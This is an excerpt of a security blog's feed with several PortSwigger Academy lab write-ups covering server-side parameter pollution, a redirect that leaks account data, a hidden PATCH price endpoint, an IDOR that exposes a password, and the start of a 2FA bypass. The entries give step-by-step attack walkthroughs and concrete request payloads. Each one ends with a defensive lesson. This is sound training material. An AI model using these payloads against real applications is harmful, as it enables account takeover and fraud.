discrepancy could expose every route protected only by an upstream URL rule. Strip untrusted rewrite headers at the edge, normalize paths consistently, and enforce authorization in each backend handler rather than relying solely on proxy filtering.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented">PortSwigger lab</a></li><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP: Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger access-control writeup showing how inconsistent URL interpretation between a proxy and backend enables an administrative route bypass.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting server-side parameter pollution in a query string</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-server-side-parameter-pollution-in-query-string/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-server-side-parameter-pollution-in-query-string/</id>
    <published>2026-07-11T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The public password-reset workflow forwards attacker-controlled data to an internal API query string. Delimiters in the supplied value alter the backend parameter set.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-1.png" alt="The objective is administrator account access followed by deletion of `carlos`."><figcaption>The objective is administrator account access followed by deletion of `carlos`.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Use <code>POST /forgot-password</code> to determine how the supplied <code>username</code> is inserted into an internal query string. The backend normally returns the requested user’s masked email; the goal is to replace the appended <code>field=email</code> parameter with <code>field=reset_token</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The normal request for <code>administrator</code> returns a masked email. An unknown username returns <code>Invalid username</code>; injecting <code>%26x=y</code> returns <code>Parameter is not supported</code>, proving that decoded <code>&amp;</code> creates a backend parameter. Adding <code>%26field=x%23</code> changes the error to <code>Invalid field</code>, showing that <code>%23</code> truncates the gateway’s original suffix.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-2.png" alt="Burp records the session used for the password-reset probes."><figcaption>Burp records the session used for the password-reset probes.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-3.png" alt="The password-reset page loads `forgotPassword.js` and submits to `POST /forgot-password`."><figcaption>The password-reset page loads `forgotPassword.js` and submits to `POST /forgot-password`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-4.png" alt="The baseline `administrator` request returns a masked email value with response type `email`."><figcaption>The baseline `administrator` request returns a masked email value with response type `email`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-5.png" alt="A nonexistent username produces `400 Invalid username`, establishing the normal validation response."><figcaption>A nonexistent username produces `400 Invalid username`, establishing the normal validation response.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The front end and internal API disagree about where one parameter ends and another begins, so server-side parameter pollution changes the backend request.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Send <code>username=administrator%26x=y</code>; the backend reports an unsupported parameter.</li><li>Send <code>username=administrator%26field=x%23</code>; the backend reports an invalid field, confirming control of <code>field</code> and truncation of the appended query string.</li><li>Fuzz the field name and identify <code>reset_token</code> as a valid response type.</li><li>Submit <code>username=administrator%26field=reset_token%23</code> and copy the returned token.</li><li>Follow the client-script reset URL, set an administrator password, sign in, and delete <code>carlos</code>.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">username=administrator</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">username=administrator%26x=y</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-6.png" alt="Decoded `%26` injects an `x` parameter, and the backend rejects it as unsupported."><figcaption>Decoded `%26` injects an `x` parameter, and the backend rejects it as unsupported.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-7.png" alt="The `%26field=x%23` probe controls the backend `field` parameter and suppresses the original suffix."><figcaption>The `%26field=x%23` probe controls the backend `field` parameter and suppresses the original suffix.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-8.png" alt="Field-name fuzzing identifies `reset_token` as a valid backend field."><figcaption>Field-name fuzzing identifies `reset_token` as a valid backend field.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-9.png" alt="The client script reveals the reset URL parameter name `reset_token`."><figcaption>The client script reveals the reset URL parameter name `reset_token`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-10.png" alt="The final polluted query returns the administrator&#x27;s `reset_token` directly in the JSON response."><figcaption>The final polluted query returns the administrator's `reset_token` directly in the JSON response.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-11.png" alt="The leaked token opens the administrator password-reset form."><figcaption>The leaked token opens the administrator password-reset form.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-12.png" alt="After resetting and signing in as administrator, the admin panel exposes the delete action for `carlos`."><figcaption>After resetting and signing in as administrator, the admin panel exposes the delete action for `carlos`.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>After the administrator password reset and deletion of <code>carlos</code>, the Academy changes the lab state to solved.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-query-string/step-13.png" alt="The Academy marks the lab solved after `carlos` is deleted."><figcaption>The Academy marks the lab solved after `carlos` is deleted.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Encode user-controlled values before inserting them into backend query strings, construct requests with parameter APIs rather than concatenation, reject duplicate or unexpected parameters, and never expose password-reset tokens through a generic user-field lookup.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">The public password-reset workflow forwards attacker-controlled data to an internal API query string. Delimiters in the supplied value alter the backend parameter set.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="API Testing" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/API-Testing/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="api-security" scheme="https://blog.nhhoang.io.vn/tags/api-security/"/>
    
  </entry>
  
  <entry>
    <title>Sensitive Data Leakage in an Authorization Redirect</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/</id>
    <published>2026-07-11T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Changing the account identifier to <code>carlos</code> triggers a <code>302 Found</code> response, so a browser appears to deny access by immediately following the redirect. However, the original response body has already been populated with Carlos’s account data, including the synthetic API key.</p><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/step-1.png" alt="The exercise identifies the redirect body as the disclosure point and supplies `wiener:peter` for retrieving Carlos&#x27;s API key."><figcaption>The exercise identifies the redirect body as the disclosure point and supplies `wiener:peter` for retrieving Carlos's API key.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in with <code>wiener:peter</code>, obtain the synthetic API key belonging to <code>carlos</code>, and submit it through the lab interface.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The account page used <code>GET /my-account?id=wiener</code>. Replacing the identifier with <code>carlos</code> caused the browser to leave the page, which initially looked like successful enforcement. Inspecting the exchange in Burp Repeater showed the important detail: the <code>302</code> response still contained the unauthorized account HTML.</p><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/step-2.png" alt="The normal account is selected by the query string `/my-account?id=wiener`, exposing the identifier that can be changed."><figcaption>The normal account is selected by the query string `/my-account?id=wiener`, exposing the identifier that can be changed.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/step-3.png" alt="Although navigation is redirected, the original HTML body already contains the `carlos` username and a complete API key."><figcaption>Although navigation is redirected, the original HTML body already contains the `carlos` username and a complete API key.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/step-4.png" alt="The browser lands on `/login` after following the redirect, concealing the sensitive body from the preceding `302 Found` response."><figcaption>The browser lands on `/login` after following the redirect, concealing the sensitive body from the preceding `302 Found` response.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>A redirect is navigation metadata, not an authorization boundary. The application renders sensitive data before deciding to redirect, and HTTP clients can always inspect the first response. An unauthorized request must be rejected before protected data is loaded or serialized.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in as <code>wiener</code> and capture the account request.</li><li>Send it to Repeater and change the <code>id</code> parameter to <code>carlos</code>.</li><li>Do not follow the redirect automatically; inspect the body of the <code>302</code> response.</li><li>Copy the synthetic API key present in that body and submit it to the lab.</li></ol><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/step-5.png" alt="Repeater preserves the first response: `GET /my-account?id=carlos` returns `302 Found` to `/login` while still delivering account HTML below the headers."><figcaption>Repeater preserves the first response: `GET /my-account?id=carlos` returns `302 Found` to `/login` while still delivering account HTML below the headers.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect/step-6.png" alt="The Academy marks the redirect-leak lab solved after the API key extracted from the `302` body is submitted."><figcaption>The Academy marks the redirect-leak lab solved after the API key extracted from the `302` body is submitted.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The unauthorized request returns a redirect, yet its raw body contains Carlos’s data. Successful submission of the included lab key confirms that the leak occurs before the redirect is followed.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>This pattern can expose API keys, personal records, or account metadata while remaining invisible in ordinary browser navigation. Perform authorization before fetching or rendering an object, return a minimal error response, and test raw redirect bodies during security reviews.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect">PortSwigger lab</a></li><li><a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200</a></li><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP: Broken Access Control</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger writeup explaining how a redirect can conceal, but not prevent, unauthorized account data from appearing in the original response body.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Finding and exploiting an unused API endpoint</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-unused-api-endpoint/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-unused-api-endpoint/</id>
    <published>2026-07-11T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The product page calls <code>GET /api/products/1/price</code>, but the route also accepts an unused <code>PATCH</code> method. An ordinary user can submit <code>&#123;&quot;price&quot;:0&#125;</code> and then order the jacket for <code>$0.00</code>.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-1.png" alt="The lab requires purchasing the jacket by finding the hidden `PATCH /api/products/1/price` operation."><figcaption>The lab requires purchasing the jacket by finding the hidden `PATCH /api/products/1/price` operation.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in as <code>wiener</code>, browse product 1, and inspect the price request. The target route is <code>/api/products/1/price</code>; the objective is to identify its unadvertised write method, set the price to zero, and place the order.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Burp history shows the storefront reading <code>/api/products/1/price</code>. Unsupported-method responses disclose <code>Allow: GET, PATCH</code>, while a bare <code>PATCH</code> reaches content-type validation instead of method rejection.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-2.png" alt="The storefront normally uses only `GET /api/products/1/price`."><figcaption>The storefront normally uses only `GET /api/products/1/price`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-3.png" alt="A `POST` probe is rejected with `405`, but the `Allow` header discloses the hidden `PATCH` method."><figcaption>A `POST` probe is rejected with `405`, but the `Allow` header discloses the hidden `PATCH` method.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-4.png" alt="`PUT` is also rejected, confirming that the available methods are specifically `GET` and `PATCH`."><figcaption>`PUT` is also rejected, confirming that the available methods are specifically `GET` and `PATCH`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Removing a feature from the client does not remove the underlying API capability; authorization and validation must be enforced by the endpoint itself.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Capture <code>GET /api/products/1/price</code> and send it to Repeater.</li><li>Try <code>POST</code> and <code>PUT</code>; both return <code>405</code> with <code>Allow: GET, PATCH</code>.</li><li>Try <code>PATCH</code>; the content-type error confirms that the handler exists and expects JSON.</li><li>Send <code>PATCH /api/products/1/price</code> with <code>Content-Type: application/json</code> and <code>&#123;&quot;price&quot;:0&#125;</code>.</li><li>Verify the <code>$0.00</code> product price, add the jacket to the cart, and place the order.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST  /api/products/1/price → 405 Method Not Allowed</span><br><span class="line">PUT   /api/products/1/price → 405 Method Not Allowed</span><br><span class="line">PATCH /api/products/1/price → 400 Bad Request (&quot;Only &#x27;application/json&#x27; Content-Type is supported&quot;)</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">&#123;&quot;price&quot;: 0&#125;</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-5.png" alt="The hidden `PATCH` handler is reachable and rejects only the missing JSON content type."><figcaption>The hidden `PATCH` handler is reachable and rejects only the missing JSON content type.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-6.png" alt="The baseline API response reports the jacket price as `$1337.00`."><figcaption>The baseline API response reports the jacket price as `$1337.00`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-7.png" alt="An authenticated ordinary user sets `price` to `0`; the API returns `200 OK` with `$0.00`."><figcaption>An authenticated ordinary user sets `price` to `0`; the API returns `200 OK` with `$0.00`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-8.png" alt="The storefront now displays the Lightweight l33t Leather Jacket at `$0.00`."><figcaption>The storefront now displays the Lightweight l33t Leather Jacket at `$0.00`.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-9.png" alt="The cart accepts the modified `productId` 1 price and shows a `$0.00` total ready for checkout."><figcaption>The cart accepts the modified `productId` 1 price and shows a `$0.00` total ready for checkout.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>After the zero-price jacket order is placed, the Academy changes the lab state to solved.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-unused-api-endpoint/step-10.png" alt="The Academy marks the unused API endpoint lab as solved after the zero-price order."><figcaption>The Academy marks the unused API endpoint lab as solved after the zero-price order.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>An unused client feature can remain a live server-side privilege boundary. Inventory every method on every deployed route, require administrative authorization for catalog changes, validate writable fields, and test operations that the current UI does not call.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Application traffic revealed an API endpoint that the normal interface no longer used. Testing the endpoint directly showed that its server-side behavior remained reachable.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="API Testing" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/API-Testing/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="api-security" scheme="https://blog.nhhoang.io.vn/tags/api-security/"/>
    
  </entry>
  
  <entry>
    <title>Password Disclosure Through a User-Controlled Account ID</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-user-id-controlled-by-request-parameter-with-password-disclosure/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-user-id-controlled-by-request-parameter-with-password-disclosure/</id>
    <published>2026-07-11T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The account page trusts a user-controlled <code>id</code> parameter and renders the selected user’s password into an HTML password field. Browser masking changes only presentation: the underlying value remains available to the client. Selecting the administrator record therefore discloses the lab credential and enables vertical privilege escalation.</p><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-1.png" alt="The exercise states that an existing password is sent to the account page in a masked field and supplies `wiener:peter` as the initial login."><figcaption>The exercise states that an existing password is sent to the account page in a masked field and supplies `wiener:peter` as the initial login.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Log in as <code>wiener:peter</code>, recover the synthetic administrator password, sign in as <code>administrator</code>, and delete <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The profile displayed username and password fields, with the account selected through <code>/my-account?id=wiener</code>. Changing the parameter to <code>administrator</code> returned the administrator’s profile. Although the password appeared as dots, the page had already received its value.</p><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-2.png" alt="The `wiener` profile includes a pre-populated password input whose bullets only hide the value visually."><figcaption>The `wiener` profile includes a pre-populated password input whose bullets only hide the value visually.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-3.png" alt="Changing the account selector to `administrator` returns that profile and fills the Password field with the administrator&#x27;s masked credential."><figcaption>Changing the account selector to `administrator` returns that profile and fills the Password field with the administrator's masked credential.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The endpoint lacks object-level authorization, and the application sends a reusable password to the browser. An <code>&lt;input type=&quot;password&quot;&gt;</code> merely obscures text on screen; it does not protect data in the DOM or response source. Passwords should not be retrievable in plaintext at all.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Sign in as <code>wiener</code> and change the account <code>id</code> to <code>administrator</code>.</li><li>Inspect the password input’s value in developer tools or the response source.</li><li>Use the disclosed synthetic credential to sign in as <code>administrator</code>.</li><li>Open the admin panel and delete <code>carlos</code>.</li></ol><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-4.png" alt="DevTools shows that the administrator credential is present in an ordinary input element whose `type=password` setting controls only display masking."><figcaption>DevTools shows that the administrator credential is present in an ordinary input element whose `type=password` setting controls only display masking.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-5.png" alt="Changing the DOM attribute from `type=password` to `type=text` makes the full administrator password visible in the account form."><figcaption>Changing the DOM attribute from `type=password` to `type=text` makes the full administrator password visible in the account form.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-6.png" alt="Authenticating with the disclosed administrator credential opens `/admin`, where the Users list provides a delete link for `carlos`."><figcaption>Authenticating with the disclosed administrator credential opens `/admin`, where the Users list provides a delete link for `carlos`.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure/step-7.png" alt="After the administrator deletes `carlos`, the page reports success and the Academy displays the solved status."><figcaption>After the administrator deletes `carlos`, the page reports success and the Academy displays the solved status.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The normal account can load the administrator profile, and inspecting the returned field reveals the lab password. The Academy marks the exercise solved after that credential is used for the required admin action. The exact synthetic password is intentionally not reproduced here.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The combination permits administrator account takeover and may amplify password reuse risk. Enforce ownership on every account lookup, never return existing passwords to a client, and store passwords with a modern one-way password-hashing function.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter-with-password-disclosure">PortSwigger lab</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html">OWASP Password Storage Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger access-control writeup showing how an IDOR exposes an administrator password embedded in a masked HTML input.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>2FA simple bypass</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-2fa-simple-bypass/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-2fa-simple-bypass/</id>
    <published>2026-07-11T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The login flow verifies a password and then presents a second-factor page, but the account page can be requested directly before the second factor is completed.</p><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-1.png" alt="The Academy brief provides `wiener:peter` and victim credentials `carlos:montoya`, but states that Carlos&#x27;s verification code is unavailable."><figcaption>The Academy brief provides `wiener:peter` and victim credentials `carlos:montoya`, but states that Carlos's verification code is unavailable.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The supplied credentials, candidate lists, email client, and exploit server are used only inside this Academy instance to reproduce the authentication-flow evidence shown below.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The password step and the four-digit-code page are separate, but <code>/my-account?id=...</code> does not enforce completion of the second step. After Carlos’s valid password reaches <code>/login2</code>, requesting his account URL directly bypasses the pending code.</p><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-2.png" alt="The 2FA simple-bypass password step ends on a form requesting a four-digit security code, showing that MFA is still pending."><figcaption>The 2FA simple-bypass password step ends on a form requesting a four-digit security code, showing that MFA is still pending.</figcaption></figure><figure><img src="/images/portswigger/authentication/lab-2fa-simple-bypass/step-3.png" alt="The email client contains Wiener&#x27;s security-code message, documenting the normal second-factor delivery path."><figcaption>The email client contains Wiener's security-code message, documenting the normal second-factor delivery path.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is 